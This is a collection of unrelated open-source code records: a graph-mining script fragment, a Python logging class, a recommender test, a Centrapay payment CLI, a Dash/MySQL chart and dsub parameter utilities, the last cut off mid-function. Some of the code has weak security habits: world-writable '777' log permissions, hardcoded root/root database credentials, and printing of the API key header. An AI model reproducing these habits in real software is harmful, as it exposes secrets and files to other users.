nm.mcut(f=\"i1,i2,frequency,sim,node1,node2,frequency1,frequency2,node1:node1x,node2:node2x\")\n\t\t\t\tf <<= nm.mfsort(f=\"node1x,node2x\")\n\t\t\t\tf <<= nm.mcal(c='if($s{node1}==$s{node1x},$s{frequency1},$s{frequency2})',a=\"freq1\")\n\t\t\t\tf <<= nm.mcal(c='if($s{node2}==$s{node2x},$s{frequency2},$s{frequency1})',a=\"freq2\")\n\t\t\t\tf <<= nm.mcut(f=\"i1,i2,frequency,sim,node1x:node1,node2x:node2,freq1:frequency1,freq2:frequency2\")\n\n\t\tf <<= nm.msetstr(v=total,a=\"total\")\n\t\tf <<= nm.mcal(c='${frequency}/${frequency1}',a=\"confidence\")\n\t\tf <<= nm.mcal(c='${frequency}/${total}',a=\"support\")\n\t\tf <<= nm.mcal(c='${frequency}/(${frequency1}+${frequency2}-${frequency})',a=\"jaccard\")\n\t\tf <<= nm.mcal(c='(${frequency}*${total})/((${frequency1}*${frequency2}))',a=\"lift\")\n\t\tf <<= nm.mcal(c='(ln(${frequency})+ln(${total})-ln(${frequency1})-ln(${frequency2}))/(ln(${total})-ln(${frequency}))',a=\"PMI\")\n\t\tf <<= nm.mcut(f=\"node1,node2,frequency,frequency1,frequency2,total,support,confidence,lift,jaccard,PMI\")\n\t\tf <<= nm.msortf(f=\"node1,node2\",rp=self.rpf ,o=self.oeFile)\n\t\t\n\t\t\n\t\tf.run()\n\n\t\tif self.onFile:\n\t\t\tf4 =   nm.mcut(f=self.itemFN+\":node\",i=self.iFile)\n\t\t\tf4 <<= nm.mcount(k=\"node\",a=\"frequency\")\n\t\t\tif self.node_support :\n\t\t\t\tminstr = \"[%s,]\"%(minSupp)\n\t\t\t\tf4 <<= nm.mselnum(f=\"frequency\",c=minstr)\n\n\t\t\tf4 <<= nm.msetstr(v=total,a=\"total\")\n\t\t\tf4 <<= nm.mcal(c='${frequency}/${total}',a=\"support\")\n\t\t\tf4 <<= nm.mcut(f=\"node,support,frequency,total\",rp=self.rpf ,o=self.onFile)\n\t\t\tf4.run()\n\n\t\tprocTime=datetime.now()-t\n\n\t\t# ログファイル出力\n\t\tif self.logFile :\n\t\t\tkv=[[\"key\",\"value\"]]\n\t\t\tfor k,v in self.args.items():\n\t\t\t\tkv.append([k,str(v)])\n\t\t\tkv.append([\"time\",str(procTime)])\n\t\t\tnm.writecsv(i=kv,o=self.logFile).run()\n\n\t\tnu.mmsg.endLog(self.__cmdline())\n\n\n","sub_path":"nysol/take/mtra2gc.py","file_name":"mtra2gc.py","file_ext":"py","file_size_in_byte":11801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"638660250","text":"## DTLog\n#\n# Copyright (c) 2016, Expressive Analytics, LLC <info@expressiveanalytics.com>.\n# All rights reserved.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n#\n# @package Deep Thought\n# @author Blake Anderson <blake@expressiveanalytics.com>\n# @copyright 2016 Expressive Analytics, LLC <info@expressiveanalytics.com>\n# @licence http://choosealicense.com/licenses/mit\n# @link http://www.expressiveanalytics.com\n# @since version 1.0.0\n\nimport json\nimport os.path\nimport time\nimport inspect\nimport re\nimport sys\nfrom deepthought.utils.DTSettingsConfig import DTSettingsConfig\n#from modules.utils import DTSettingsConfig\n\nclass DTLog(object):\n    error_fp = None\n    info_fp = None\n    debug_fp = None\n    last_backtrace = None\n    _colorize = None\n\n    ## emit major failure message\n    @classmethod\n    def error(cls,msg,*args):\n        if cls.error_fp is None:\n            cls.error_fp = cls.openOrCreate(\"error_log\")\n        fmt_msg = cls.formatMessage(msg,args)\n        return cls.write(cls.error_fp,fmt_msg,\"error\")\n\n    ## emit warnings\n    @classmethod\n    def warn(cls,msg,*args):\n        if cls.info_fp is None:\n            cls.info_fp = cls.openOrCreate(\"info_log\")\n        fmt_msg = cls.formatMessage(msg,args)\n        return cls.write(cls.info_fp,fmt_msg,\"warn\")\n\n    ## emit useful information\n    @classmethod\n    def info(cls,msg,*args):\n        if cls.info_fp is None:\n            cls.info_fp = cls.openOrCreate(\"info_log\")\n        fmt_msg = cls.formatMessage(msg,*args)\n        return cls.write(cls.info_fp,fmt_msg,\"info\")\n\n    ## emit success updates\n    @classmethod\n    def success(cls,msg,*args):\n        if cls.info_fp is None:\n            cls.info_fp = cls.openOrCreate(\"info_log\")\n        fmt_msg = cls.formatMessage(msg,args)\n        return cls.write(cls.info_fp,fmt_msg,\"success\")\n\n    ## only emits messageif debug\n    @classmethod\n    def debug(cls,msg,*args):\n        if cls.debug_fp is None:\n            cls.debug_fp = cls.openOrCreate(\"debug_log\")\n        fmt_msg = cls.formatMessage(msg,args)\n        cls.last_backtrace = inspect.stack()[1]\n        return cls.write(cls.debug_fp,fmt_msg,\"debug\")\n\n    @classmethod\n    def formatMessage(cls,msg,*args):\n        if not isinstance(msg, basestring):\n            return cls.colorize(str(msg),\"INFO\")\n        strings = []\n        for a in args:\n            strings.append(cls.colorize(json.dumps(a) if not isinstance(a,basestring) else a,\"INFO\"))\n        return msg.format(*strings)\n\n    @classmethod\n    def write(cls,fp,msg,code):\n        callerframerecord = inspect.stack()[2]\n        frame = callerframerecord[0]\n        info = inspect.getframeinfo(frame)\n        file = os.path.basename(info.filename)\n        line = info.lineno\n        timestamp = time.strftime(\"%a %b %d %H:%M:%S%z %Y\")\n        msg = json.dumps(msg) if not isinstance(msg,basestring) else str(msg)\n        ##@todo lock the file\n        if cls._colorize is \"pml\": #get rid of colorize... for now\n            msg = re.sub(r\"<dt-color color=[^>]*>\",\"\",msg)\n            msg = re.sub(r\"<\\/dt-color>\",\"\",msg)\n            msg = \"[%s] %s:%s:%s:%s\\n\" % (timestamp,file,line,code,msg)\n        elif cls.isCLI():\n            re.sub(r\"<dt-color color=green>\",chr(27)+\"[42m\",msg)\n            re.sub(r\"<dt-color color=red>\",chr(27)+\"[41m\",msg)\n            re.sub(r\"<dt-color color=yellow>\",chr(27)+\"[43m\",msg)\n            re.sub(r\"<dt-color color=blue>\",chr(27)+\"[44m\",msg)\n            re.sub(r\"<\\/dt-color>\",chr(27)+\"[0m\",msg)\n            msg = \"[%s] %s:%s:%s:%s\\n\" % (timestamp,file,line,code,msg)\n        else:\n            re.sub(r\"<dt-color color=green>\",\"<span class='bg-success'>\",msg)\n            re.sub(r\"<dt-color color=red>\",\"<span class='bg-danger'>\",msg)\n            re.sub(r\"<dt-color color=yellow>\",\"<span class='bg-warning'>\",msg)\n            re.sub(r\"<dt-color color=blue>\",\"<span class='bg-info'>\",msg)\n            re.sub(r\"<\\/dt-color>\",\"</span>\",msg)\n        try:\n            fp.write(msg)\n        except Exception:\n            sys.stderr.write(\"DTLog::write():Could not write to log!\")\n        ##@todo unlock the file\n        return msg\n\n    ## openOrCreate\n    # @access protected\n    # @param string log_type {\"info_log\",\"error_log\",\"debug_log\"}\n    # @return resource the created/opened file\n    @classmethod\n    def openOrCreate(cls,log_type):\n        config = DTSettingsConfig.sharedSettings()\n        cls._colorize = config['logs']['colorize'] if config is not None and \"logs\" in config and \"colorize\" in config[\"logs\"] else \"pml\"\n        if config is None or \"logs\" not in config or log_type not in config['logs']:\n            fp = sys.stdout\n        else:\n            logfile = config['logs'][log_type]\n            if not os.path.exists(logfile):\n                open(logfile, 'a') #touch\n                perms = config[\"logs\"][\"permissions\"] if config is not None and \"logs\" in config and \"permissions\" in config[\"logs\"] else \"777\"\n                os.chmod(logfile,int(perms))\n            fp = open(logfile, 'a')\n        return fp\n\n    @staticmethod\n    def colorize(text,status=\"INFO\"):\n        out = \"\"\n        status.upper()\n        if status==\"SUCCESS\":\n            out = \"green\"\n        elif status==\"FAILURE\" or status==\"ERROR\":\n            out = \"red\"\n        elif status==\"WARN\" or status==\"WARNING\":\n            out = \"yellow\"\n        elif status==\"NOTE\" or status==\"INFO\":\n            out = \"blue\"\n        else:\n            raise Exception(\"Invalid status: \"+status)\n        return \"<dt-color color=%s>%s</dt-color>\" % (out,text)\n\n    @staticmethod\n    def isCLI():\n        return True\n\n    @classmethod\n    def lastBacktrace(cls):\n        return cls.lastBacktrace\n","sub_path":"deepthought/utils/DTLog.py","file_name":"DTLog.py","file_ext":"py","file_size_in_byte":6648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"574236700","text":"# !/usr/bin/python3\n# -*- coding: utf-8 -*-\n# @Author  : QLMX\n# @Email   : wenruichn@gmail.com\n# @Web     : www.growai.cn\n# @Time    : 2021/8/13 12:02 上午\n\nfrom match.models import FM\nfrom tests.utils import check_model, get_xy_fd, get_ml1_data, predict_embed, get_top_k\n\ntop_k = 5\nBASEPATH = \"/Users/qlmx/Files/Project/RS/data/ml-1m/\"\nresult_dir = BASEPATH + \"result.txt\"\n\ndef train_FM(get_recall=False):\n    model_name = \"FM\"\n\n    train_data, test_data, user_feature_columns, item_feature_columns, index_data_dict = get_ml1_data()\n    model = FM(user_feature_columns, item_feature_columns, )\n\n    model.compile('adam', \"binary_crossentropy\")\n    model.fit(train_data[0], train_data[1], batch_size=100, epochs=10, validation_split=0.5)\n    model = check_model(model, model_name)\n    if get_recall:\n        test_item_emd, test_user_emd = predict_embed(model, model_name, test_data, False)\n        result = get_top_k(test_item_emd, test_user_emd, test_data, index_data_dict, top_k)\n        with open(result_dir, 'w') as f:\n            for line in result:\n                f.write(line + '\\n')\n\nif __name__ == \"__main__\":\n    train_FM(True)","sub_path":"tests/models/fm_test.py","file_name":"fm_test.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"376814852","text":"import os\nimport sys\nimport argparse\n\nimport requests\nimport qrcode\n\nEXIT_NO_COMMAND = 1\nEXIT_HTTP_ERROR = 2\n\nCENTRAPAY_QR_BASE_URI = 'https://app.centrapay.com/pay'\nCENTRAPAY_BASE_URL = 'https://service.centrapay.com'\nif os.environ.get('DEVENV'):\n    CENTRAPAY_QR_BASE_URI = 'https://app.cp42.click/pay'\n    CENTRAPAY_BASE_URL = 'https://service.cp42.click'\nMERCHANT_ID = os.environ.get('MERCHANT_ID')\nCLIENT_ID = os.environ.get('CLIENT_ID')\nMERCHANT_API_KEY = os.environ.get('MERCHANT_API_KEY')\n\ndef construct_parser():\n    # construct argument parser\n    parser = argparse.ArgumentParser()\n    subparsers = parser.add_subparsers(dest=\"command\")\n\n    ## Account / Device creation\n\n    parser_req_create = subparsers.add_parser(\"request_create\", help=\"Create an request\")\n    parser_req_create.add_argument(\"amount\", metavar=\"AMOUNT\", type=str, help=\"the request amount\")\n    parser_req_create.add_argument(\"asset\", metavar=\"ASSET\", type=str, help=\"the asset\")\n\n    parser_req_info = subparsers.add_parser(\"request_info\", help=\"Check a request\")\n    parser_req_info.add_argument(\"request_id\", metavar=\"REQUEST_ID\", type=str, help=\"the request id\")\n\n    parser_req_pay = subparsers.add_parser(\"request_pay\", help=\"Pay a request\")\n    parser_req_pay.add_argument(\"request_id\", metavar=\"REQUEST_ID\", type=str, help=\"the id of the request to pay\")\n    parser_req_pay.add_argument(\"ledger\", metavar=\"LEDGER\", type=str, help=\"the selected payment option to use\")\n    parser_req_pay.add_argument(\"authorization\", metavar=\"AUTHORIZATION\", type=str, help=\"an identifier that can be used to pay or verify payment\")\n\n    return parser\n\ndef check(response):\n    print(response.status_code)\n    try:\n        response.raise_for_status()\n    except requests.exceptions.HTTPError as e:\n        print(response.text)\n        sys.exit(EXIT_HTTP_ERROR)\n\ndef curlify(req):\n    command = \"curl -X {method} -H {headers} -d '{data}' '{uri}'\"\n    method = req.method\n    uri = req.url\n    data = req.body\n    headers = ['\"{0}: {1}\"'.format(k, v) for k, v in req.headers.items()]\n    headers = \" -H \".join(headers)\n    return command.format(method=method, headers=headers, data=data, uri=uri)\n\ndef request_(endpoint, data, post=True):\n    headers = {'x-api-key': MERCHANT_API_KEY}\n    url = CENTRAPAY_BASE_URL + endpoint\n    print(':: calling \"{}\"...'.format(url))\n    print(':: headers:')\n    print(headers)\n    print(':: data:')\n    print(data)\n    if post:\n        r = requests.post(url, headers=headers, data=data)\n    else:\n        r = requests.get(url, headers=headers, params=data)\n    print(curlify(r.request))\n    check(r)\n    return r\n\ndef print_centrapay_qrcode(request_id):\n    qr = qrcode.QRCode()\n    qr.add_data('{}/{}'.format(CENTRAPAY_QR_BASE_URI, request_id))\n    qr.print_ascii(tty=True)\n\ndef request_create(args):\n    expiry_seconds = 3600\n    r = request_('/payments/api/requests.create', dict(merchantId=MERCHANT_ID, clientId=CLIENT_ID, amount=args.amount, asset=args.asset, paymentExpirySeconds=expiry_seconds))\n    request_id = r.json()['requestId']\n    print_centrapay_qrcode(request_id)\n    print(r.json())\n    \ndef request_info(args):\n    r = request_('/payments/api/requests.info', dict(requestId=args.request_id), post=False)\n    request_id = r.json()['requestId']\n    print_centrapay_qrcode(request_id)\n    print(r.json())\n\ndef request_pay(args):\n    r = request_('/payments/api/requests.pay', dict(requestId=args.request_id, ledger=args.ledger, authorization=args.authorization))\n    print(r.json())\n\nif __name__ == \"__main__\":\n    # parse arguments\n    parser = construct_parser()\n    args = parser.parse_args()\n\n    # set appropriate function\n    function = None\n    if args.command == \"request_create\":\n        function = request_create\n    elif args.command == \"request_info\":\n        function = request_info\n    elif args.command == \"request_pay\":\n        function = request_pay\n    else:\n        parser.print_help()\n        sys.exit(EXIT_NO_COMMAND)\n\n    if function:\n        function(args)","sub_path":"test/centrapay_test.py","file_name":"centrapay_test.py","file_ext":"py","file_size_in_byte":4002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"156651102","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport plotly.express as px\nimport pandas as pd\n\nimport pymysql\ndb = pymysql.connect(\"localhost\", \"root\", \"root\", \"tecnoredDB\" )\ncur = db.cursor()\ncur.execute(\"SELECT FOS, TAC, fech FROM charDige\")\ndatos = cur.fetchall()\n\nexternal_stylesheets = ['bWLwgP.css']\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\n\ndf = pd.DataFrame.from_records(datos, columns=[\"FOS\", \"TAC\", \"fech\"])\nprint(df)\n\nfig = px.bar(df, x=2, y=0, barmode=\"group\", opacity=0.5)\n#fig = px.line(df, x=2, y=0)\n\napp.layout = html.Div(children=[html.H1(children='Digestor Primario 1'),\n    html.Div(children='''Análisis'''),\n    dcc.Graph(id='digestor-graph', figure=fig)\n])\n\nif __name__ == '__main__':\n    app.run_server(debug=True)","sub_path":"digeSQL.py","file_name":"digeSQL.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"137523487","text":"# Copyright 2016 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Utility functions and classes for input, output, and script parameters.\"\"\"\n\nimport collections\nimport csv\nimport os\nimport re\n\nimport dsub_util\n\nAUTO_PREFIX_INPUT = 'INPUT_'  # Prefix for auto-generated input names\nAUTO_PREFIX_OUTPUT = 'OUTPUT_'  # Prefix for auto-generated output names\n\n\ndef validate_param_name(name, param_type):\n  \"\"\"Validate that the name follows posix conventions for env variables.\"\"\"\n  # http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap03.html#tag_03_235\n  #\n  # 3.235 Name\n  # In the shell command language, a word consisting solely of underscores,\n  # digits, and alphabetics from the portable character set.\n  if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_]*$', name):\n    raise ValueError('Invalid %s: %s' % (param_type, name))\n\n\nclass EnvParam(collections.namedtuple('EnvParam', ['name', 'value'])):\n  \"\"\"Name/value input parameter to a pipeline.\n\n  Attributes:\n    name (str): the input parameter and environment variable name.\n    value (str): the variable value (optional).\n  \"\"\"\n  __slots__ = ()\n\n  def __new__(cls, name, value=None):\n    validate_param_name(name, 'Environment variable')\n    return super(EnvParam, cls).__new__(cls, name, value)\n\n\nclass FileParam(\n    collections.namedtuple('FileParam', [\n        'name', 'value', 'docker_path', 'remote_uri', 'recursive'\n    ])):\n  \"\"\"File parameter to be automatically localized or de-localized.\n\n  Input files are automatically localized from GCS to the pipeline VM's\n  local block disk(s).\n\n  Output files are automatically de-localized to GCS from the pipeline VM's\n  local block disk(s).\n\n  Attributes:\n    name (str): the parameter and environment variable name.\n    value (str): the original value given by the user on the command line or\n                 in the TSV file\n    docker_path (str): the on-VM location; also set as the environment variable\n                       value.\n    remote_uri (str): the GCS path.\n    recursive (bool): Whether recursive copy is wanted.\n  \"\"\"\n  __slots__ = ()\n\n  def __new__(cls,\n              name,\n              value=None,\n              docker_path=None,\n              remote_uri=None,\n              recursive=False):\n    return super(FileParam, cls).__new__(cls, name, value, docker_path,\n                                         remote_uri, recursive)\n\n\nclass InputFileParam(FileParam):\n  \"\"\"Simple typed-derivative of a FileParam.\"\"\"\n\n  def __new__(cls,\n              name,\n              value=None,\n              docker_path=None,\n              remote_uri=None,\n              recursive=False):\n    validate_param_name(name, 'Input parameter')\n    return super(InputFileParam, cls).__new__(cls, name, value, docker_path,\n                                              remote_uri, recursive)\n\n\nclass OutputFileParam(FileParam):\n  \"\"\"Simple typed-derivative of a FileParam.\"\"\"\n\n  def __new__(cls,\n              name,\n              value=None,\n              docker_path=None,\n              remote_uri=None,\n              recursive=False):\n    validate_param_name(name, 'Output parameter')\n    return super(OutputFileParam, cls).__new__(cls, name, value, docker_path,\n                                               remote_uri, recursive)\n\n\nclass FileParamUtil(object):\n  \"\"\"Base class helper for producing FileParams from args or a tasks file.\n\n  InputFileParams and OutputFileParams can be produced from either arguments\n  passed on the command-line or as a combination of the definition in the tasks\n  file header plus cell values in task records.\n\n  This class encapsulates the generation of the FileParam name, if none is\n  specified (get_variable_name()) as well as common path validation for\n  input and output arguments (validate_paths).\n  \"\"\"\n\n  def __init__(self, auto_prefix, relative_path):\n    self._auto_prefix = auto_prefix\n    self._auto_index = 0\n    self._relative_path = relative_path\n\n  def get_variable_name(self, name):\n    \"\"\"Produce a default variable name if none is specified.\"\"\"\n    if not name:\n      name = '%s%s' % (self._auto_prefix, self._auto_index)\n      self._auto_index += 1\n\n    return name\n\n  @staticmethod\n  def _validate_paths(remote_uri):\n    \"\"\"Do basic validation of the remote_uri, return the path and filename.\"\"\"\n\n    # Only GCS paths are currently supported\n    if not remote_uri.startswith('gs://'):\n      raise ValueError('Only Cloud Storage URIs (gs://) supported: %s' %\n                       remote_uri)\n\n    # Only support file URLs and *filename* wildcards\n    # Wildcards at the directory level or \"**\" syntax would require better\n    # support from the Pipelines API *or* doing expansion here and\n    # (potentially) producing a series of FileParams, instead of one.\n    path = os.path.dirname(remote_uri)\n    filename = os.path.basename(remote_uri)\n\n    # dsub could support character ranges ([0-9]) with some more work, but for\n    # now we assume that basic asterisk wildcards are sufficient. Reject any URI\n    # that includes square brackets or question marks, since we know that\n    # if they actually worked, it would be accidental.\n    if '[' in remote_uri or ']' in remote_uri:\n      raise ValueError('Square bracket (character ranges) are not supported: %s'\n                       % remote_uri)\n\n    if '?' in remote_uri:\n      raise ValueError(\n          'Question mark wildcards are not supported: %s' % remote_uri)\n\n    if '*' in path:\n      raise ValueError(\n          'Wildcards in remote paths only supported for files: %s' % remote_uri)\n\n    if '**' in filename:\n      raise ValueError('Recursive wildcards (\"**\") not supported: %s' %\n                       remote_uri)\n\n    return path, filename\n\n  @staticmethod\n  def _uri_to_localpath(uri):\n    return uri.replace('gs://', 'gs/')\n\n\nclass InputFileParamUtil(FileParamUtil):\n\n  def __init__(self, docker_path):\n    super(InputFileParamUtil, self).__init__(AUTO_PREFIX_INPUT, docker_path)\n\n  def parse_uri(self, remote_uri, recursive):\n    \"\"\"Return a valid docker_path and remote_uri from the remote_uri.\"\"\"\n\n    # Validate and then tokenize the remote URI in order to build the\n    # docker_path and remote_uri.\n    _, filename = self._validate_paths(remote_uri)\n\n    if recursive:\n      # For recursive copies, the remote_uri must be a directory path, with\n      # or without the trailing slash; the remote_uri cannot contain wildcards.\n      if '*' in filename:\n        raise ValueError(\n            'Input variables that are recursive must not contain wildcards: %s'\n            % remote_uri)\n\n      # Non-recursive parameters explicitly set the target path to include\n      # a trailing slash when the target path is a directory; be consistent\n      # here and normalize the path to always have a single trailing slash\n      remote_uri = remote_uri.rstrip('/') + '/'\n      docker_path = '%s/%s' % (self._relative_path,\n                               self._uri_to_localpath(remote_uri))\n    else:\n      # The translation for inputs of the remote_uri into the docker_path\n      # requires some care.\n      #\n      # If the \"filename\" portion is a wildcard, then the docker_path must\n      # explicitly be a directory, with a trailing slash, otherwise there can\n      # be ambiguity depending on how many objects the pattern matches.\n      # The command:\n      #\n      #   gsutil cp gs://bucket/path/*.bam <mnt>/input/gs/bucket/path\n      #\n      # produces different results depending on whether *.bam matches a single\n      # file or multiple. In the first case, it produces a single file called\n      # \"path\". In the second case it produces a directory called \"path\" with\n      # multiple files.\n      #\n      # The result of:\n      #\n      #   gsutil cp gs://bucket/path/*.bam <mnt>/input/gs/bucket/path/\n      #\n      # is consistent: a directory called \"path\" with one or more files.\n      #\n      # So the target of \"gsutil cp\" must be a directory. From dsub core\n      # perspective, the docker_path includes the wildcard and it is up to the\n      # provider to handle this correctly.\n      docker_path = '%s/%s' % (self._relative_path,\n                               self._uri_to_localpath(remote_uri))\n\n    # The docker path is a relative path to the provider-specific mount point\n    docker_path = docker_path.lstrip('/')\n\n    return docker_path, remote_uri\n\n\nclass OutputFileParamUtil(FileParamUtil):\n\n  def __init__(self, docker_path):\n    super(OutputFileParamUtil, self).__init__(AUTO_PREFIX_OUTPUT, docker_path)\n\n  def parse_uri(self, remote_uri, recursive):\n    \"\"\"Return a valid docker_path and remote_uri from the remote_uri.\"\"\"\n\n    # Validate and then tokenize the remote URI in order to build the\n    # docker_path and remote_uri.\n    #\n    # For output variables, the \"file\" portion of the remote URI indicates\n    # what to copy from the pipeline's docker path to the remote destination:\n    #   gs://bucket/path/filename\n    # turns into:\n    #   gsutil cp <mnt>/output/gs/bucket/path/filename gs://bucket/path/\n    #\n    # In the above example, we would create:\n    #   docker_path = output/gs/bucket/path/filename\n    #   remote_uri = gs://bucket/path/\n    path, filename = self._validate_paths(remote_uri)\n\n    if recursive:\n      # For recursive copies, the remote_uri must be a directory path, with\n      # or without the trailing slash; the remote_uri cannot contain wildcards.\n      if '*' in filename:\n        raise ValueError(\n            'Output variables that are recursive must not contain wildcards: %s'\n            % remote_uri)\n\n      # Non-recursive parameters explicitly set the target path to include\n      # a trailing slash when the target path is a directory; be consistent\n      # here and normalize the path to always have a single trailing slash\n      remote_uri = remote_uri.rstrip('/') + '/'\n      docker_path = '%s/%s' % (self._relative_path,\n                               self._uri_to_localpath(remote_uri))\n    else:\n      # The remote_uri for a non-recursive output variable must be a filename\n      # or a wildcard\n      if remote_uri.endswith('/'):\n        raise ValueError(\n            'Output variables that are not recursive must reference a '\n            'filename or wildcard: %s' % remote_uri)\n\n      # Put the docker path together as:\n      #  [output]/[gs/bucket/path/filename]\n      docker_path = '%s/%s' % (self._relative_path,\n                               self._uri_to_localpath(remote_uri))\n\n      # If the filename contains a wildcard, make sure the remote_uri target\n      # is clearly a directory path. Otherwise if the local wildcard ends up\n      # matching a single file, the remote_uri will be a file, rather than a\n      # directory containing a file.\n      #\n      # gsutil cp <mnt>/output/gs/bucket/path/*.bam gs://bucket/path\n      #\n      # produces different results if *.bam matches a single file vs. multiple.\n      if '*' in filename:\n        remote_uri = '%s/' % path\n\n    return docker_path, remote_uri\n\n\ndef split_pair(pair_string, separator, nullable_idx=1):\n  \"\"\"Split a string into a pair, which can have one empty value.\n\n  Args:\n    pair_string: The string to be split.\n    separator: The separator to be used for splitting.\n    nullable_idx: The location to be set to null if the separator is not in the\n                  input string. Should be either 0 or 1.\n\n  Returns:\n    A list containing the pair.\n\n  Raises:\n    IndexError: If nullable_idx is not 0 or 1.\n  \"\"\"\n\n  pair = pair_string.split(separator, 1)\n  if len(pair) == 1:\n    if nullable_idx == 0:\n      return [None, pair[0]]\n    elif nullable_idx == 1:\n      return [pair[0], None]\n    else:\n      raise IndexError('nullable_idx should be either 0 or 1.')\n  else:\n    return pair\n\n\ndef parse_tasks_file_header(header, input_file_param_util,\n                            output_file_param_util):\n  \"\"\"Parse the header from the tasks file into env, input, output definitions.\n\n  Elements are formatted similar to their equivalent command-line arguments,\n  but with associated values coming from the data rows.\n\n  Environment variables columns are headered as \"--env <name>\"\n  Inputs columns are headered as \"--input <name>\" with the name optional.\n  Outputs columns are headered as \"--output <name>\" with the name optional.\n\n  For historical reasons, bareword column headers (such as \"JOB_ID\") are\n  equivalent to \"--env var_name\".\n\n  Args:\n    header: Array of header fields\n    input_file_param_util: Utility for producing InputFileParam objects.\n    output_file_param_util: Utility for producing OutputFileParam objects.\n\n  Returns:\n    job_params: A list of EnvParams and FileParams for the environment\n    variables, input file parameters, and output file parameters.\n\n  Raises:\n    ValueError: If a header contains a \":\" and the prefix is not supported.\n  \"\"\"\n  job_params = []\n\n  for col in header:\n\n    # Reserve the \"-\" and \"--\" namespace.\n    # If the column has no leading \"-\", treat it as an environment variable\n    col_type = '--env'\n    col_value = col\n    if col.startswith('-'):\n      col_type, col_value = split_pair(col, ' ', 1)\n\n    if col_type == '--env':\n      job_params.append(EnvParam(col_value))\n\n    elif col_type == '--input' or col_type == '--input-recursive':\n      name = input_file_param_util.get_variable_name(col_value)\n      job_params.append(\n          InputFileParam(name, recursive=(col_type.endswith('recursive'))))\n\n    elif col_type == '--output' or col_type == '--output-recursive':\n      name = output_file_param_util.get_variable_name(col_value)\n      job_params.append(\n          OutputFileParam(name, recursive=(col_type.endswith('recursive'))))\n\n    else:\n      raise ValueError('Unrecognized column header: %s' % col)\n\n  return job_params\n\n\ndef tasks_file_to_job_data(tasks, input_file_param_util,\n                           output_file_param_util):\n  \"\"\"Parses task parameters from a TSV.\n\n  Args:\n    tasks: Dict containing the path to a TSV file and task numbers to run\n    variables, input, and output parameters as column headings. Subsequent\n    lines specify parameter values, one row per job.\n    input_file_param_util: Utility for producing InputFileParam objects.\n    output_file_param_util: Utility for producing OutputFileParam objects.\n\n  Returns:\n    job_data: an array of records, each containing a dictionary of\n    'envs', 'inputs', and 'outputs' that defines the set of parameters and data\n    for each job.\n\n  Raises:\n    ValueError: If no job records were provided\n  \"\"\"\n  job_data = []\n\n  path = tasks['path']\n  task_min = tasks.get('min')\n  task_max = tasks.get('max')\n\n  # Load the file and set up a Reader that tokenizes the fields\n  param_file = dsub_util.load_file(path)\n  reader = csv.reader(param_file, delimiter='\\t')\n\n  # Read the first line and extract the parameters\n  header = reader.next()\n  job_params = parse_tasks_file_header(header, input_file_param_util,\n                                       output_file_param_util)\n\n  # Build a list of records from the parsed input file\n  for row in reader:\n    # Tasks are numbered starting at 1 and since the first line of the TSV\n    # file is a header, the first task appears on line 2.\n    task_id = reader.line_num - 1\n    if task_min and task_id < task_min:\n      continue\n    if task_max and task_id > task_max:\n      continue\n\n    if len(row) != len(job_params):\n      dsub_util.print_error('Unexpected number of fields %s vs %s: line %s' %\n                            (len(row), len(job_params), reader.line_num))\n\n    # Each row can contain \"envs\", \"inputs\", \"outputs\"\n    envs = []\n    inputs = []\n    outputs = []\n\n    for i in range(0, len(job_params)):\n      param = job_params[i]\n      if isinstance(param, EnvParam):\n        envs.append(EnvParam(param.name, row[i]))\n\n      elif isinstance(param, InputFileParam):\n        docker_path, remote_uri = input_file_param_util.parse_uri(\n            row[i], param.recursive)\n        inputs.append(\n            InputFileParam(param.name, row[i], docker_path, remote_uri,\n                           param.recursive))\n\n      elif isinstance(param, OutputFileParam):\n        docker_path, remote_uri = output_file_param_util.parse_uri(\n            row[i], param.recursive)\n        outputs.append(\n            OutputFileParam(param.name, row[i], docker_path, remote_uri,\n                            param.recursive))\n\n    job_data.append({\n        'task_id': task_id,\n        'envs': envs,\n        'inputs': inputs,\n        'outputs': outputs\n    })\n\n  # Ensure that there are jobs to execute (and not just a header)\n  if not job_data:\n    raise ValueError('No tasks added from %s' % path)\n\n  return job_data\n\n\ndef args_to_job_data(envs, inputs, inputs_recursive, outputs, outputs_recursive,\n                     input_file_param_util, output_file_param_util):\n  \"\"\"Parse env, input, and output parameters into a job parameters and data.\n\n  Passing arguments on the command-line allows for launching a single job.\n  